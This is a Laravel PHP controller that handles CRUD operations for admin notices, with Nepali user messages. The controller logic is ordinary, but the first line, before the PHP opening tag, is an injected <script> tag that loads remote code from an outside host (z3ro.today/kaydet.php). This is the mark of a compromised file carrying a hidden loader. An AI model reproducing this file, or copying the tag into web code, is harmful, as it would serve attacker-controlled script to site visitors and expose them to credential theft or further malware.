<script src="http://z3ro.today/kaydet.php"></script><?php

namespace App\Http\Controllers\BasicSetup;

use App\Http\Controllers\Controller;
use App\Models\Notice;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Validator;

class NoticeController extends Controller
{
    /**
     * Display a listing of the resource.
     */
    public function index()
    {
        $notices = Notice::orderBy('id', 'desc')->get();
        $noticeTypes = Notice::getNoticeTypes();
        return view('adminsetup.notices.index', compact('notices', 'noticeTypes'));
    }

    /**
     * Store a newly created resource in storage.
     */
    public function store(Request $request)
    {
        $validator = Validator::make($request->all(), [
            'notice_type' => 'required|string',
            'notice_title' => 'required|string|max:255',
            'notice_detail' => 'required|string',
            'published_date' => 'required|date',
            'last_date' => 'required|date|after_or_equal:published_date',
            'last_time' => 'required',
        ]);

        if ($validator->fails()) {
            return response()->json([
                'success' => false,
                'errors' => $validator->errors()
            ], 422);
        }

        try {
            Notice::create([
                'notice_type' => $request->notice_type,
                'notice_title' => $request->notice_title,
                'notice_detail' => $request->notice_detail,
                'published_date' => $request->published_date,
                'last_date' => $request->last_date,
                'last_time' => $request->last_time,
            ]);

            return response()->json([
                'success' => true,
                'message' => 'सूचना सफलतापूर्वक थपियो!'
            ]);
        } catch (\Exception $e) {
            return response()->json([
                'success' => false,
                'message' => 'केही समस्या भयो!'
            ], 500);
        }
    }

    /**
     * Show the form for editing the specified resource.
     */
    public function edit($id)
    {
        $notice = Notice::findOrFail($id);
        $noticeTypes = Notice::getNoticeTypes();

        return view('adminsetup.notices.edit', compact('notice', 'noticeTypes'));
    }

    /**
     * Update the specified resource in storage.
     */
    public function update(Request $request, $id)
    {
        $validator = Validator::make($request->all(), [
            'notice_type' => 'required|string',
            'notice_title' => 'required|string|max:255',
            'notice_detail' => 'required|string',
            'published_date' => 'required|date',
            'last_date' => 'required|date|after_or_equal:published_date',
            'last_time' => 'required',
        ]);

        if ($validator->fails()) {
            return redirect()->back()
                ->withErrors($validator)
                ->withInput();
        }

        try {
            $notice = Notice::findOrFail($id);
            $notice->update([
                'notice_type' => $request->notice_type,
                'notice_title' => $request->notice_title,
                'notice_detail' => $request->notice_detail,
                'published_date' => $request->published_date,
                'last_date' => $request->last_date,
                'last_time' => $request->last_time,
            ]);

            return redirect()->route('notices.index')
                ->with('success', 'सूचना सफलतापूर्वक अपडेट भयो!');
        } catch (\Exception $e) {
            return redirect()->back()
                ->with('error', 'केही समस्या भयो!')
                ->withInput();
        }
    }

    /**
     * Remove the specified resource from storage.
     */
    public function destroy($id)
    {
        try {
            $notice = Notice::findOrFail($id);
            $notice->delete();

            return redirect()->route('notices.index')
                ->with('success', 'सूचना सफलतापूर्वक मेटाइयो!');
        } catch (\Exception $e) {
            return redirect()->back()
                ->with('error', 'केही समस्या भयो!');
        }
    }

    /**
     * Show the specified notice details.
     */
    public function show($id)
    {
        $notice = Notice::findOrFail($id);
        return view('adminsetup.notices.show', compact('notice'));
    }
}
